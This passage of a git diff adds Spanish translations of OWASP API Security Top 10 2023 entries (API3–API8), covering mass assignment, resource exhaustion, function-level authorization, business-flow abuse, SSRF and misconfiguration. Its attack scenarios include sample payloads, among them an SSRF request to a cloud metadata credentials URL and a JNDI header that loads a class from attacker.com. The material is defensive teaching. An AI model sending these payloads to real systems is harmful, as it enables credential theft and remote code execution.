https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism(OTG-AUTHN-003) +[3]: https://cloud.google.com/endpoints/docs/openapi/when-why-api-key +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html +[5]: https://owasp.org/www-community/attacks/Credential_stuffing +[6]: https://cwe.mitre.org/data/definitions/204.html +[7]: https://cwe.mitre.org/data/definitions/307.html diff --git a/editions/2023/es/0xa3-broken-object-property-level-authorization.md b/editions/2023/es/0xa3-broken-object-property-level-authorization.md new file mode 100644 index 000000000..57eb283d7 --- /dev/null +++ b/editions/2023/es/0xa3-broken-object-property-level-authorization.md @@ -0,0 +1,122 @@ +# API3:2023 Autorización Rota a Nivel de Propiedades del Objeto + +| Agentes de amenaza/Vectores de ataque | Debilidad de seguridad | Impactos | +| - | - | - | +| Específico de API: Explotabilidad **Fácil** | Prevalencia **Común** : Detectabilidad **Fácil** | Técnico **Moderado** : Específico del negocio | +| Las APIs tienden a exponer endpoints que devuelven todas las propiedades de un objeto. Esto es particularmente válido para REST APIs. Para otros protocolos como GraphQL, puede requerirse crear solicitudes específicas que indiquen qué propiedades deben devolverse. Identificar estas propiedades adicionales que pueden manipularse requiere más esfuerzo, aunque existen algunas herramientas automatizadas que ayudan en esta tarea. | Inspeccionar las respuestas de la API es suficiente para identificar información sensible en las representaciones de los objetos devueltos. Generalmente se usa fuzzing para identificar propiedades adicionales (ocultas). Ver si pueden modificarse depende de crear una solicitud API adecuada y analizar la respuesta. Puede ser necesario un análisis de efectos colaterales si la propiedad objetivo no se devuelve en la respuesta de la API. | El acceso no autorizado a propiedades privadas/sensibles de objetos puede resultar en divulgación, pérdida o corrupción de datos. Bajo ciertas circunstancias, el acceso no autorizado puede llevar a una escalada de privilegios o a la toma parcial/completa de cuentas. | + +## ¿Es vulnerable la API? + +Cuando se permite que un usuario acceda a un objeto mediante un endpoint de API, es importante validar que el usuario tenga acceso a las propiedades específicas del objeto a las que intenta acceder. + +Un endpoint de API es vulnerable si: + +* Expone propiedades de un objeto consideradas sensibles y que el usuario no debería poder leer. (anteriormente llamado: “[Exposición Excesiva de Datos][1]”) +* Permite a un usuario cambiar, agregar o eliminar el valor de una propiedad sensible de un objeto a la que no debería tener acceso (anteriormente llamado: “[Asignación Masiva][2]”). + +## Ejemplos de Escenarios de Ataque + +### Escenario #1 + +Una aplicación de citas permite a un usuario reportar a otros por comportamiento inapropiado. Como parte de este flujo, el usuario hace clic en un botón de “reportar” y se dispara la siguiente llamada API: + +``` +POST /graphql +{ + "operationName":"reportUser", + "variables":{ + "userId": 313, + "reason":["offensive behavior"] + }, + "query":"mutation reportUser($userId: ID!, $reason: String!) { + reportUser(userId: $userId, reason: $reason) { + status + message + reportedUser { + id + fullName + recentLocation + } + } + }" +} +``` + +El endpoint es vulnerable porque permite al usuario autenticado acceder a propiedades sensibles del objeto del usuario reportado, como `fullName` y `recentLocation`, que no deberían estar disponibles para otros usuarios. + +### Escenario #2 + +Una plataforma de marketplace en línea, donde un tipo de usuario (“anfitrión”) renta su apartamento a otro tipo de usuario (“invitado”), requiere que el anfitrión apruebe la reserva antes de cobrar al invitado. + +Como parte de este flujo, el anfitrión envía la siguiente solicitud legítima a +`POST /api/host/approve_booking`: + +``` +{ + "approved": true, + "comment": "Check-in is after 3pm" +} +``` + +El anfitrión repite la solicitud legítima pero añade un payload malicioso: + +``` +{ + "approved": true, + "comment": "Check-in is after 3pm", + "total_stay_price": "$1,000,000" +} +``` + +El endpoint es vulnerable porque no valida que el anfitrión tenga acceso a la propiedad interna `total_stay_price`, causando que el invitado sea cobrado más de lo acordado. + +### Escenario #3 + +Una red social de videos cortos aplica filtros de contenido restrictivos. Incluso si un video es bloqueado, el usuario puede cambiar la descripción mediante esta solicitud: + +``` +PUT /api/video/update_video + +{ + "description": "a funny video about cats" +} +``` + +Un usuario frustrado repite la solicitud legítima y añade un payload malicioso: + +``` +{ + "description": "a funny video about cats", + "blocked": false +} +``` + +El endpoint es vulnerable porque no valida si el usuario debería tener acceso a la propiedad interna `blocked`, lo que permite modificar su valor de `true` a `false` y desbloquear contenido prohibido. + +## Cómo Prevenir + +* Al exponer un objeto mediante un endpoint de API, siempre asegúrate de que el usuario tenga acceso únicamente a las propiedades que se exponen. +* Evita usar métodos genéricos como `to_json()` y `to_string()`. En su lugar, selecciona explícitamente las propiedades que deseas devolver. +* Si es posible, evita funciones que automáticamente vinculan la entrada del cliente a variables de código, objetos internos o propiedades de objetos (“Asignación Masiva”). +* Permite cambios únicamente en las propiedades que deberían ser actualizadas por el cliente. +* Implementa un mecanismo de validación de respuestas basado en esquemas como capa adicional de seguridad. Dentro de este mecanismo, define y aplica los datos que devuelven todos los métodos de la API. +* Mantén las estructuras de datos devueltas en su mínima expresión, de acuerdo con los requisitos funcionales/empresariales del endpoint. + +## Referencias + +### OWASP + +* [API3:2019 Exposición Excesiva de Datos - OWASP API Security Top 10 2019][1] +* [API6:2019 - Asignación Masiva - OWASP API Security Top 10 2019][2] +* [Mass Assignment Cheat Sheet][3] + +### Externas + +* [CWE-213: Exposición de Información Sensible por Políticas Incompatibles][4] +* [CWE-915: Modificación Inadecuadamente Controlada de Atributos de Objetos Determinados Dinámicamente][5] + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html +[4]: https://cwe.mitre.org/data/definitions/213.html +[5]: https://cwe.mitre.org/data/definitions/915.html diff --git a/editions/2023/es/0xa4-unrestricted-resource-consumption.md b/editions/2023/es/0xa4-unrestricted-resource-consumption.md new file mode 100644 index 000000000..4fc47e540 --- /dev/null +++ b/editions/2023/es/0xa4-unrestricted-resource-consumption.md @@ -0,0 +1,132 @@ +# API4:2023 Consumo de Recursos sin Restricciones + +| Agentes de amenaza/Vectores de ataque | Debilidad de seguridad | Impactos | +| - | - | - | +| Específico de API: Explotabilidad **Media** | Prevalencia **Generalizada** : Detectabilidad **Fácil** | Técnico **Grave** : Específico del negocio | +| La explotación requiere solicitudes simples a la API. Pueden realizarse múltiples solicitudes concurrentes desde una sola computadora local o utilizando recursos de computación en la nube. La mayoría de las herramientas automatizadas disponibles están diseñadas para causar DoS mediante altas cargas de tráfico, afectando la tasa de servicio de las APIs. | Es común encontrar APIs que no limitan las interacciones de los clientes ni el consumo de recursos. Solicitudes API manipuladas, como aquellas con parámetros que controlan la cantidad de recursos devueltos y realizando análisis de estado/tiempo/longitud de la respuesta, deberían permitir identificar el problema. Lo mismo aplica para operaciones en lote. Aunque los agentes de amenaza no tienen visibilidad directa sobre el impacto en costos, este puede inferirse con base en el modelo de negocio/precios de los proveedores de servicios (p. ej., proveedor de nube). | La explotación puede llevar a DoS debido al agotamiento de recursos, pero también a un incremento de costos operativos, como mayor demanda de CPU, aumento en necesidades de almacenamiento en la nube, etc. | + +## ¿Es vulnerable la API? + +Satisfacer solicitudes de API requiere recursos como ancho de banda de red, CPU, memoria y almacenamiento. A veces, los recursos necesarios son provistos por proveedores de servicios mediante integraciones API y se pagan por solicitud, como envío de emails/SMS/llamadas telefónicas, validación biométrica, etc. + +Una API es vulnerable si al menos uno de los siguientes límites falta o está configurado de manera inapropiada (p. ej., muy bajo/alto): + +* Tiempos de espera de ejecución (timeouts) +* Memoria máxima asignable +* Número máximo de descriptores de archivo +* Número máximo de procesos +* Tamaño máximo de archivo para subir +* Número de operaciones a realizar en una sola solicitud de cliente API (p. ej., batching en GraphQL) +* Número de registros por página a devolver en una sola solicitud-respuesta +* Límite de gasto de proveedores de servicios externos + +## Ejemplos de Escenarios de Ataque + +### Escenario #1 + +Una red social implementó un flujo de “olvidé mi contraseña” utilizando verificación por SMS, permitiendo que el usuario reciba un token de un solo uso por SMS para restablecer su contraseña. + +Cuando el usuario hace clic en “olvidé mi contraseña”, el navegador envía esta llamada al backend: + +``` +POST /initiate_forgot_password + +{ + "step": 1, + "user_number": "6501113434" +} +``` + +Luego, en segundo plano, el backend llama a una API de un tercero que entrega el SMS: + +``` +POST /sms/send_reset_pass_code + +Host: willyo.net + +{ + "phone_number": "6501113434" +} +``` + +El proveedor externo, Willyo, cobra 0.05 USD por este tipo de llamada. + +Un atacante escribe un script que envía la primera llamada decenas de miles de veces. El backend, a su vez, solicita a Willyo el envío de decenas de miles de mensajes de texto, provocando que la empresa pierda miles de dólares en cuestión de minutos. + +### Escenario #2 + +Un endpoint GraphQL permite al usuario subir una foto de perfil. + +``` +POST /graphql + +{ + "query": "mutation { + uploadPic(name: "pic1", base64_pic: "R0FOIEFOR0xJVA…") { + url + } + }" +} +``` + +Una vez completada la subida, la API genera múltiples miniaturas de diferentes tamaños basadas en la imagen cargada. Esta operación gráfica consume mucha memoria del servidor. + +La API implementa un rate limiting tradicional: un usuario no puede acceder demasiadas veces al endpoint GraphQL en un corto periodo. La API también valida el tamaño de la imagen antes de generar miniaturas para evitar procesar imágenes demasiado grandes. + +Un atacante puede evadir esos mecanismos aprovechando la naturaleza flexible de GraphQL: + +``` +POST /graphql + +[ + {"query": "mutation {uploadPic(name: "pic1", base64_pic: "R0FOIEFOR0xJVA…") {url}}"}, + {"query": "mutation {uploadPic(name: "pic2", base64_pic: "R0FOIEFOR0xJVA…") {url}}"}, + ... + {"query": "mutation {uploadPic(name: "pic999", base64_pic: "R0FOIEFOR0xJVA…") {url}}"}, +] +``` + +Como la API no limita la cantidad de veces que puede intentarse la operación `uploadPic`, la llamada produce agotamiento de memoria del servidor y Denegación de Servicio. + +### Escenario #3 + +Un proveedor de servicios permite a sus clientes descargar archivos arbitrariamente grandes usando su API. Estos archivos se almacenan en un almacenamiento de objetos en la nube y no cambian con frecuencia. El proveedor depende de un servicio de caché para mejorar la tasa de servicio y reducir el consumo de ancho de banda. El servicio de caché solo guarda archivos de hasta 15 GB. + +Cuando uno de los archivos se actualiza, su tamaño aumenta a 18 GB. Todos los clientes comienzan de inmediato a descargar la nueva versión. Como no había alertas de consumo ni un límite de costo máximo para el servicio en la nube, la factura mensual pasa de un promedio de 13 USD a 8,000 USD. + +## Cómo Prevenir + +* Usa una solución que facilite limitar [memoria][1], [CPU][2], [número de reinicios][3], [descriptores de archivos y procesos][4], como contenedores o código serverless (p. ej., Lambdas). +* Define y aplica un tamaño máximo de datos en todos los parámetros y payloads de entrada, como longitud máxima para cadenas, número máximo de elementos en arreglos y tamaño máximo de archivo (sin importar si se almacena localmente o en la nube). +* Implementa un límite de frecuencia sobre cómo y con qué frecuencia un cliente puede interactuar con la API dentro de un periodo definido (rate limiting). +* Ajusta el rate limiting según las necesidades del negocio. Algunos endpoints pueden requerir políticas más estrictas. +* Limita/restringe cuántas veces o con qué frecuencia un cliente/usuario puede ejecutar una misma operación (p. ej., validar un OTP o solicitar recuperación de contraseña sin visitar la URL de un solo uso). +* Agrega validación del lado del servidor para parámetros de query string y cuerpo de la solicitud, en particular los que controlan el número de registros devueltos en la respuesta. +* Configura límites de gasto para todos los proveedores/integaciones de servicio. Cuando no sea posible establecer límites de gasto, configura alertas de facturación. + +## Referencias + +### OWASP + +* [“Availability” - Web Service Security Cheat Sheet][5] +* [“DoS Prevention” - GraphQL Cheat Sheet][6] +* [“Mitigating Batching Attacks” - GraphQL Cheat Sheet][7] + +### Externas + +* [CWE-770: Asignación de Recursos sin Límites o Regulación][8] +* [CWE-400: Consumo de Recursos sin Control][9] +* [CWE-799: Control Inadecuado de Frecuencia de Interacción][10] +* “Rate Limiting (Throttling)” - [Security Strategies for Microservices-based Application Systems][11], NIST + +[1]: https://docs.docker.com/config/containers/resource_constraints/#memory +[2]: https://docs.docker.com/config/containers/resource_constraints/#cpu +[3]: https://docs.docker.com/engine/reference/commandline/run/#restart +[4]: https://docs.docker.com/engine/reference/commandline/run/#ulimit +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html#availability +[6]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#dos-prevention +[7]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#mitigating-batching-attacks +[8]: https://cwe.mitre.org/data/definitions/770.html +[9]: https://cwe.mitre.org/data/definitions/400.html +[10]: https://cwe.mitre.org/data/definitions/799.html +[11]: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf diff --git a/editions/2023/es/0xa5-broken-function-level-authorization.md b/editions/2023/es/0xa5-broken-function-level-authorization.md new file mode 100644 index 000000000..e55d61e9d --- /dev/null +++ b/editions/2023/es/0xa5-broken-function-level-authorization.md @@ -0,0 +1,80 @@ +# API5:2023 Autorización Rota a Nivel de Función + +| Agentes de amenaza/Vectores de ataque | Debilidad de seguridad | Impactos | +| - | - | - | +| Específico de API: Explotabilidad **Fácil** | Prevalencia **Común** : Detectabilidad **Fácil** | Técnico **Grave** : Específico del negocio | +| La explotación requiere que el atacante envíe llamadas legítimas a un endpoint de la API al que no debería tener acceso como usuario anónimo o como usuario regular sin privilegios. Los endpoints expuestos se explotan fácilmente. | Las verificaciones de autorización para una función o recurso suelen gestionarse a nivel de configuración o código. Implementar comprobaciones adecuadas puede ser confuso ya que las aplicaciones modernas pueden contener muchos tipos de roles, grupos y jerarquías complejas de usuarios (p. ej., subusuarios o usuarios con más de un rol). Es más fácil descubrir estas fallas en APIs porque son más estructuradas y el acceso a diferentes funciones es más predecible. | Tales fallas permiten a los atacantes acceder a funcionalidades no autorizadas. Las funciones administrativas son objetivos clave para este tipo de ataque y pueden conducir a divulgación de datos, pérdida de datos o corrupción de datos. En última instancia, puede provocar interrupción del servicio. | + +## ¿Es vulnerable la API? + +La mejor manera de encontrar problemas de autorización rota a nivel de función es realizar un análisis profundo del mecanismo de autorización, considerando la jerarquía de usuarios, diferentes roles o grupos en la aplicación y planteando las siguientes preguntas: + +* ¿Puede un usuario regular acceder a endpoints administrativos? +* ¿Puede un usuario realizar acciones sensibles (p. ej., creación, modificación o eliminación) a las que no debería tener acceso simplemente cambiando el método HTTP (p. ej., de `GET` a `DELETE`)? +* ¿Puede un usuario del grupo X acceder a una función que debería estar expuesta solo a usuarios del grupo Y, adivinando la URL del endpoint y sus parámetros (p. ej., `/api/v1/users/export_all`)? + +No asumas que un endpoint de API es regular o administrativo únicamente por la ruta en la URL. + +Aunque los desarrolladores pueden optar por exponer la mayoría de los endpoints administrativos bajo una ruta específica como `/api/admins`, es muy común encontrarlos bajo otras rutas junto con endpoints regulares, como `/api/users`. + +## Ejemplos de Escenarios de Ataque + +### Escenario #1 + +Durante el proceso de registro de una aplicación que permite unirse solo a usuarios invitados, la app móvil ejecuta una llamada a: +`GET /api/invites/{invite_guid}`. + +La respuesta contiene un JSON con detalles de la invitación, incluyendo el rol y el correo del usuario. + +Un atacante duplica la solicitud y manipula el método y el endpoint a: +`POST /api/invites/new`. + +Este endpoint debería ser accesible únicamente a administradores desde la consola de administración. Sin embargo, no implementa verificaciones de autorización a nivel de función. + +El atacante explota la falla y envía una nueva invitación con privilegios de administrador: + +``` +POST /api/invites/new + +{ + "email": "attacker@somehost.com", + "role": "admin" +} +``` + +Posteriormente, el atacante utiliza la invitación maliciosa para crearse una cuenta de administrador y obtener acceso completo al sistema. + +### Escenario #2 + +Una API contiene un endpoint que debería estar expuesto solo a administradores: +`GET /api/admin/v1/users/all`. + +Este endpoint devuelve los detalles de todos los usuarios de la aplicación y no implementa verificaciones de autorización a nivel de función. + +Un atacante que estudió la estructura de la API realiza una conjetura y logra acceder al endpoint, exponiendo información sensible de los usuarios de la aplicación. + +## Cómo Prevenir + +Tu aplicación debe tener un módulo de autorización consistente y fácil de analizar que sea invocado desde todas las funciones de negocio. Con frecuencia, esta protección la proporciona uno o más componentes externos al código de la aplicación. + +* Los mecanismos de aplicación deben denegar todo acceso por defecto, requiriendo concesiones explícitas de roles específicos para acceder a cada función. +* Revisa tus endpoints de API contra fallas de autorización a nivel de función, teniendo en cuenta la lógica de negocio de la aplicación y la jerarquía de grupos. +* Asegúrate de que todos tus controladores administrativos hereden de un controlador abstracto administrativo que implemente verificaciones de autorización basadas en el rol/grupo del usuario. +* Asegúrate de que las funciones administrativas dentro de un controlador regular implementen verificaciones de autorización basadas en el rol/grupo del usuario. + +## Referencias + +### OWASP + +* [Forced Browsing][1] +* "A7: Missing Function Level Access Control", [OWASP Top 10 2013][2] +* [Access Control][3] + +### Externa + +* [CWE-285: Improper Authorization][4] + +[1]: https://owasp.org/www-community/attacks/Forced_browsing +[2]: https://github.com/OWASP/Top10/raw/master/2013/OWASP%20Top%2010%20-%202013.pdf +[3]: https://owasp.org/www-community/Access_Control +[4]: https://cwe.mitre.org/data/definitions/285.html diff --git a/editions/2023/es/0xa6-unrestricted-access-to-sensitive-business-flows.md b/editions/2023/es/0xa6-unrestricted-access-to-sensitive-business-flows.md new file mode 100644 index 000000000..ea0f74c5b --- /dev/null +++ b/editions/2023/es/0xa6-unrestricted-access-to-sensitive-business-flows.md @@ -0,0 +1,76 @@ +# API6:2023 Acceso Sin Restricciones a Flujos de Negocio Sensibles + +| Agentes de amenaza/Vectores de ataque | Debilidad de seguridad | Impactos | +| - | - | - | +| Específico de API: Explotabilidad **Fácil** | Prevalencia **Generalizada** : Detectabilidad **Media** | Técnico **Moderado** : Específico del negocio | +| La explotación usualmente implica comprender el modelo de negocio respaldado por la API, identificar flujos de negocio sensibles y automatizar el acceso a estos flujos, causando daño al negocio. | La falta de una visión holística de la API para dar soporte completo a los requerimientos del negocio tiende a contribuir a la prevalencia de este problema. Los atacantes identifican manualmente qué recursos (p. ej., endpoints) están involucrados en el flujo objetivo y cómo trabajan entre sí. Si ya existen mecanismos de mitigación, los atacantes buscan una forma de evadirlos. | En general, no se espera un impacto técnico significativo. Sin embargo, la explotación puede dañar al negocio de diferentes maneras, por ejemplo: impedir que usuarios legítimos compren un producto o generar inflación en la economía interna de un juego. | + +## ¿Es vulnerable la API? + +Al crear un endpoint de API, es importante comprender qué flujo de negocio expone. +Algunos flujos de negocio son más sensibles que otros, en el sentido de que un acceso excesivo a ellos puede dañar al negocio. + +Ejemplos comunes de flujos de negocio sensibles y riesgos de acceso excesivo asociados: + +* Flujo de compra de un producto: un atacante puede comprar todo el stock de un artículo de alta demanda de una sola vez y revenderlo a un precio mayor (*scalping*). +* Flujo de creación de comentarios/publicaciones: un atacante puede inundar el sistema con spam. +* Flujo de reservas: un atacante puede reservar todos los horarios disponibles e impedir que otros usuarios utilicen el sistema. + +El riesgo de acceso excesivo puede variar según la industria y el tipo de negocio. +Por ejemplo, la creación de publicaciones mediante un script podría considerarse spam en una red social, pero ser alentada en otra. + +Un endpoint de API es vulnerable si expone un flujo de negocio sensible sin restringir adecuadamente el acceso a él. + +## Ejemplos de Escenarios de Ataque + +### Escenario #1 + +Una empresa tecnológica anuncia que lanzará una nueva consola de videojuegos en **Thanksgiving**. El producto tiene una demanda muy alta y el stock es limitado. +Un atacante escribe código para comprar automáticamente el nuevo producto y completar la transacción. + +El día del lanzamiento, el atacante ejecuta el código distribuido en diferentes direcciones IP y ubicaciones. La API no implementa la protección adecuada y le permite comprar la mayoría del stock antes que los usuarios legítimos. + +Posteriormente, el atacante revende el producto en otra plataforma a un precio mucho mayor. + +### Escenario #2 + +Una aerolínea ofrece compra de boletos en línea sin tarifa de cancelación. +Un usuario malicioso reserva el 90% de los asientos de un vuelo deseado. + +Días antes del vuelo, el usuario cancela todos los boletos de una sola vez, obligando a la aerolínea a bajar los precios para llenar el avión. + +En ese momento, el usuario compra un solo boleto mucho más barato que el precio original. + +### Escenario #3 + +Una aplicación de transporte por plataforma ofrece un programa de referidos: los usuarios pueden invitar amigos y obtener crédito por cada registro. Dicho crédito puede usarse para reservar viajes. + +Un atacante explota este flujo escribiendo un script que automatiza el proceso de registro, de modo que cada cuenta falsa agrega crédito a su cartera. + +Después, el atacante disfruta viajes gratis o vende las cuentas con crédito acumulado por dinero. + +## Cómo Prevenir + +La planificación de la mitigación debe hacerse en dos capas: + +* **Negocio**: identificar los flujos de negocio que podrían dañar a la organización si son usados de manera excesiva. +* **Ingeniería**: elegir los mecanismos de protección adecuados para mitigar el riesgo empresarial. + +Algunas medidas son simples, mientras que otras son más complejas de implementar. Entre los métodos comunes para frenar amenazas automatizadas se encuentran: + +* **Huellas digitales de dispositivos**: denegar servicio a clientes inesperados (p. ej., navegadores sin interfaz gráfica) obliga a los atacantes a usar soluciones más sofisticadas y costosas. +* **Detección humana**: usar captcha o soluciones biométricas más avanzadas (p. ej., patrones de tipeo). +* **Patrones no humanos**: analizar el flujo de uso para detectar patrones sospechosos (p. ej., un usuario accede a “añadir al carrito” y “completar compra” en menos de un segundo). +* **Bloqueo de proxies/Tor**: considerar el bloqueo de direcciones IP de nodos de salida de Tor y proxys conocidos. + +Además, se debe asegurar y limitar el acceso a APIs consumidas directamente por máquinas (como APIs de desarrolladores o B2B). Estas suelen ser objetivos fáciles porque a menudo no implementan todos los mecanismos de protección requeridos. + +## Referencias + +### OWASP + +* [OWASP Automated Threats to Web Applications][1] +* [API10:2019 Insufficient Logging & Monitoring][2] + +[1]: https://owasp.org/www-project-automated-threats-to-web-applications/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xaa-insufficient-logging-monitoring/ diff --git a/editions/2023/es/0xa7-server-side-request-forgery.md b/editions/2023/es/0xa7-server-side-request-forgery.md new file mode 100644 index 000000000..db847bf04 --- /dev/null +++ b/editions/2023/es/0xa7-server-side-request-forgery.md @@ -0,0 +1,134 @@ +# API7:2023 Server-Side Request Forgery (SSRF) + +| Agentes de amenaza/Vectores de ataque | Debilidad de seguridad | Impactos | +| - | - | - | +| Específico de API: Explotabilidad **Fácil** | Prevalencia **Común** : Detectabilidad **Fácil** | Técnico **Moderado** : Específico del negocio | +| La explotación requiere que el atacante encuentre un endpoint de la API que acceda a un URI proporcionado por el cliente. En general, un SSRF básico (cuando la respuesta se devuelve al atacante) es más fácil de explotar que un SSRF ciego, en el cual el atacante no tiene retroalimentación sobre si el ataque fue exitoso o no. | Los conceptos modernos en el desarrollo de aplicaciones fomentan que los desarrolladores accedan a URIs proporcionados por el cliente. La falta de validación o una validación incorrecta de dichos URIs es un problema común. Para detectar este problema, se requiere análisis de solicitudes y respuestas de la API. Cuando la respuesta no se devuelve (SSRF ciego), detectar la vulnerabilidad requiere más esfuerzo y creatividad. | Una explotación exitosa puede conducir a enumeración de servicios internos (p. ej., escaneo de puertos), divulgación de información, eludir firewalls u otros mecanismos de seguridad. En algunos casos, puede provocar DoS o que el servidor sea usado como proxy para ocultar actividades maliciosas. | + +## ¿Es vulnerable la API? + +Las fallas de **Server-Side Request Forgery (SSRF)** ocurren cuando una API obtiene un recurso remoto sin validar la URL proporcionada por el usuario. Esto permite que un atacante obligue a la aplicación a enviar una solicitud manipulada a un destino inesperado, incluso si está protegido por un firewall o una VPN. + +Los conceptos modernos de desarrollo hacen que SSRF sea más común y más peligroso: + +* **Más común**: características como *webhooks*, descarga de archivos desde URLs, SSO personalizado y vistas previas de URLs fomentan el acceso a recursos externos basados en entradas de usuario. +* **Más peligroso**: tecnologías modernas como proveedores de nube, Kubernetes y Docker exponen canales de administración y control vía HTTP en rutas predecibles y conocidas. Estos canales son un objetivo fácil para ataques SSRF. + +Además, limitar el tráfico saliente de las aplicaciones es cada vez más difícil debido a la naturaleza conectada de los sistemas modernos. + +El riesgo de SSRF no siempre puede eliminarse por completo. Al elegir mecanismos de protección, es importante considerar los riesgos y necesidades del negocio. + +## Ejemplos de Escenarios de Ataque + +### Escenario #1 + +Una red social permite a los usuarios subir fotos de perfil. El usuario puede elegir subir el archivo desde su computadora o proporcionar la URL de la imagen. En el segundo caso, se dispara la siguiente llamada: + +``` +POST /api/profile/upload_picture + +{ + "picture_url": "http://example.com/profile_pic.jpg" +} +``` + +Un atacante puede enviar una URL maliciosa y usar el endpoint de la API para iniciar un escaneo de puertos en la red interna: + +``` +{ + "picture_url": "localhost:8080" +} +``` + +En función del tiempo de respuesta, el atacante puede deducir si el puerto está abierto o no. + +### Escenario #2 + +Un producto de seguridad genera eventos al detectar anomalías en la red. Algunos equipos prefieren revisar esos eventos en un sistema de monitoreo más general, como un SIEM. Para esto, el producto ofrece integración mediante *webhooks*. + +Durante la creación de un nuevo webhook, se envía una mutación GraphQL con la URL del API del SIEM: + +``` +POST /graphql + +[ + { + "variables": {}, + "query": "mutation { + createNotificationChannel(input: { + channelName: \"ch_piney\", + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: \"http://www.siem-system.com/create_new_event\", + send_test_req: true + } + ] + } + }){ + channelId + } + }" + } +] +``` + +El backend de la API envía una solicitud de prueba al webhook proporcionado y muestra la respuesta al usuario. + +Un atacante puede abusar de este flujo y apuntar a un recurso sensible, como el servicio interno de metadatos en la nube que expone credenciales: + +``` +POST /graphql + +[ + { + "variables": {}, + "query": "mutation { + createNotificationChannel(input: { + channelName: \"ch_piney\", + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: \"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm\", + send_test_req: true + } + ] + } + }) { + channelId + } + } + } +] +``` + +Dado que la aplicación muestra la respuesta de la solicitud de prueba, el atacante puede visualizar las credenciales del entorno en la nube. + +## Cómo Prevenir + +* Aísla el mecanismo de obtención de recursos en tu red: normalmente estas funciones deben recuperar recursos remotos, no internos. +* Siempre que sea posible, usa listas de permitidos (*allow lists*) de: + * Orígenes remotos desde donde se espera descargar recursos (p. ej., Google Drive, Gravatar, etc.) + * Esquemas de URL y puertos aceptados + * Tipos de contenido permitidos para una funcionalidad específica +* Deshabilita redirecciones HTTP. +* Usa un analizador de URLs probado y mantenido para evitar problemas derivados de inconsistencias de parseo. +* Valida y sanitiza todos los datos proporcionados por el cliente. +* No devuelvas respuestas en bruto al cliente. + +## Referencias + +### OWASP + +* [Server Side Request Forgery][1] +* [Server-Side Request Forgery Prevention Cheat Sheet][2] + +### Externas + +* [CWE-918: Server-Side Request Forgery (SSRF)][3] +* [URL confusion vulnerabilities in the wild: Exploring parser inconsistencies, Snyk][4] + +[1]: https://owasp.org/www-community/attacks/Server_Side_Request_Forgery +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/918.html +[4]: https://snyk.io/blog/url-confusion-vulnerabilities/ diff --git a/editions/2023/es/0xa8-security-misconfiguration.md b/editions/2023/es/0xa8-security-misconfiguration.md new file mode 100644 index 000000000..0c9f6ce4d --- /dev/null +++ b/editions/2023/es/0xa8-security-misconfiguration.md @@ -0,0 +1,98 @@ +# API8:2023 Configuración de Seguridad Incorrecta + +| Agentes de amenaza/Vectores de ataque | Debilidad de seguridad | Impactos | +| - | - | - | +| Específico de API: Explotabilidad **Fácil** | Prevalencia **Generalizada** : Detectabilidad **Fácil** | Técnico **Grave** : Específico del negocio | +| Los atacantes suelen intentar encontrar fallas sin parches, endpoints comunes, servicios que se ejecutan con configuraciones predeterminadas inseguras o archivos y directorios sin protección para obtener acceso no autorizado o conocimiento del sistema. Gran parte de esto es conocimiento público y pueden existir exploits disponibles. | La configuración incorrecta de seguridad puede ocurrir en cualquier nivel del stack de la API, desde el nivel de red hasta el nivel de aplicación. Existen herramientas automatizadas para detectar y explotar configuraciones incorrectas como servicios innecesarios u opciones heredadas. | Las configuraciones incorrectas de seguridad no solo exponen datos sensibles de usuarios, sino también detalles del sistema que pueden llevar al compromiso total del servidor. | + +## ¿Es vulnerable la API? + +La API puede ser vulnerable si: + +* Falta el endurecimiento de seguridad en cualquier parte del stack de la API o si hay permisos mal configurados en servicios en la nube. +* Faltan los últimos parches de seguridad o los sistemas están desactualizados. +* Están habilitadas características innecesarias (p. ej., verbos HTTP, funciones de registro). +* Existen discrepancias en la forma en que los servidores procesan las solicitudes entrantes en la cadena de servidores HTTP. +* Falta la capa de seguridad de transporte (TLS). +* No se envían directivas de seguridad o control de caché a los clientes. +* Falta una política de *Cross-Origin Resource Sharing (CORS)* o está configurada de manera incorrecta. +* Los mensajes de error incluyen trazas de pila o exponen otra información sensible. + +## Ejemplos de Escenarios de Ataque + +### Escenario #1 + +Un servidor back-end de API mantiene un registro de accesos mediante una utilidad de registro de terceros de código abierto popular, con soporte para expansión de *placeholders* y búsquedas JNDI (Java Naming and Directory Interface), ambas habilitadas de forma predeterminada. Por cada solicitud, se escribe una nueva entrada en el archivo de registro con el siguiente patrón: ` / - `. + +Un actor malicioso envía la siguiente solicitud API, que se escribe en el archivo de registro: + +``` +GET /health +X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class} +``` + +Debido a la configuración predeterminada insegura de la utilidad de registro y a una política de red de salida permisiva, al escribir la entrada correspondiente en el registro de accesos, mientras expande el valor en la cabecera `X-Api-Version`, la utilidad de registro descargará y ejecutará el objeto `Malicious.class` desde el servidor controlado por el atacante. + +### Escenario #2 + +Un sitio de red social ofrece una función de "Mensajes Directos" que permite a los usuarios mantener conversaciones privadas. Para recuperar nuevos mensajes de una conversación específica, el sitio emite la siguiente solicitud API (no se requiere interacción del usuario): + +``` +GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA +``` + +Debido a que la respuesta de la API no incluye la cabecera HTTP `Cache-Control`, las conversaciones privadas terminan almacenadas en caché por el navegador web, lo que permite a actores maliciosos recuperarlas de los archivos de caché del navegador en el sistema de archivos. + +## Cómo Prevenir + +El 